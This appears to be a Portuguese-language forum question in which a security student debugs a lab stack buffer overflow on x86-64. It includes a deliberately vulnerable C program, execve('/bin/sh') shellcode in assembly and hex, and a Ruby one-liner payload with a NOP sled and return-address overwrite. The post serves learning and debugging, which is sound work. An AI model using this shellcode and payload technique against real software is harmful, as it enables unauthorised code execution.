Eu estou estudando segurança da informação e fazendo experimentos tentando exploitar um caso clássico de buffer overflow.
Eu sucedi na criação do shellcode, em sua injeção no código e na sua execução, o problema é que uma syscall para uma execve() dentro do shellcode simplesmente não sucede.
Detalhadamente:
Este é o código do programa vulnerável (foi compilado num Ubuntu 15.04 x86-64, com o gcc com as flags: "-fno-stack-protector -z execstack -g" e com a ASLR desligada):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int do_bof(char *exploit) {
char buf[128];
strcpy(buf, exploit);
return 1;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
puts("Usage: bof <any>");
return 0;
}
do_bof(argv[1]);
puts("Failed to exploit.");
return 0;
}
Este o um pequeno programa em assembly que executa uma shell com uma chamada de sistema execve() e depois termina com um exit().Note que este código funciona independentemente. Isto é: Se compilado e linkado independentemente, ele funciona sem problemas.
global _start
section .text
_start:
jmp short push_shell
starter:
pop rdi
mov al, 59
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
syscall
xor al, al
mov BYTE [rdi], al
mov al, 60
syscall
push_shell:
call starter
shell:
db "/bin/sh"
Esta é a saída de um objdump -d -M intel com o binário do código acima, que é de onde eu extrai o shellcode:
spawn_shell.o: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000000000 <_start>:
0: eb 16 jmp 18 <push_shell>
0000000000000002 <starter>:
2: 5f pop rdi
3: b0 3b mov al,0x3b
5: 48 31 f6 xor rsi,rsi
8: 48 31 d2 xor rdx,rdx
b: 48 31 c9 xor rcx,rcx
e: 0f 05 syscall
10: 30 c0 xor al,al
12: 88 07 mov BYTE PTR [rdi],al
14: b0 3c mov al,0x3c
16: 0f 05 syscall
0000000000000018 <push_shell>:
18: e8 e5 ff ff ff call 2 <starter>
000000000000001d <shell>:
1d: 2f (bad)
1e: 62 (bad)
1f: 69 .byte 0x69
20: 6e outs dx,BYTE PTR ds:[rsi]
21: 2f (bad)
22: 73 68 jae 8c <shell+0x6f>
Este comando seria o payload propriamente dito: O que injeta o shellcode no programa junto com o endereço de retorno que irá sobrescrever o endereço de retorno original:
ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
Até o momento, eu já depurei o meu programa vulnerável com o shellcode injetado cuidadosamente, observando o incremento do registrador RIP, observando o conteúdo do que ele aponta e conferindo esse conteúdo com os opcodes do meu shellcode, constatei o seguinte:
- O endereço de retorno é sobrescrito pelo fornecido por mim no payload corretamente e a execução salta para o meu shellcode.
- A execução sucede normalmente até o "16:" do código assembly acima, onde acontece a chamada de sistema.
- A chamada de sistema simplesmente não acontece, mesmo com todos os registradores corretamente configurados para a chamada de sistema. Estranhamente, depois da chamada de sistema, os registradores RAX e RCX ficam com todos os bits setados.
O resultado é que já que a chamada de sistema não aconteceu, o trecho de código jump é executado de novo, o que faz a execução saltar para o início do meu shellcode (pulando todos os NOPs), o que faz com que ele fique colocando o endereço de "/bin/sh" na pilha continuamente até o programa dar crash e terminar em SEGFAULT.
Em suma, o problema principal é esse: A syscall dentro do meu shellcode não é executada e o exploit não funciona, mas a syscall dentro de um programa em Assembly independentemente funciona sem problemas.
Algumas outras notas:
Alguns diriam que falta terminar a minha string com um null byte. Mas pelo que parece isso não é necessário já que o meu programa em Assembly consegue uma shell mesmo sem terminar a string. E eu já tentei outro payload no meu programa vulnerável com um simples exit() e o mesmo acontece.
Lembre-se de que se trata de um programa vulnerável compilado pra AMD64.
O que há de errado com meu shellcode?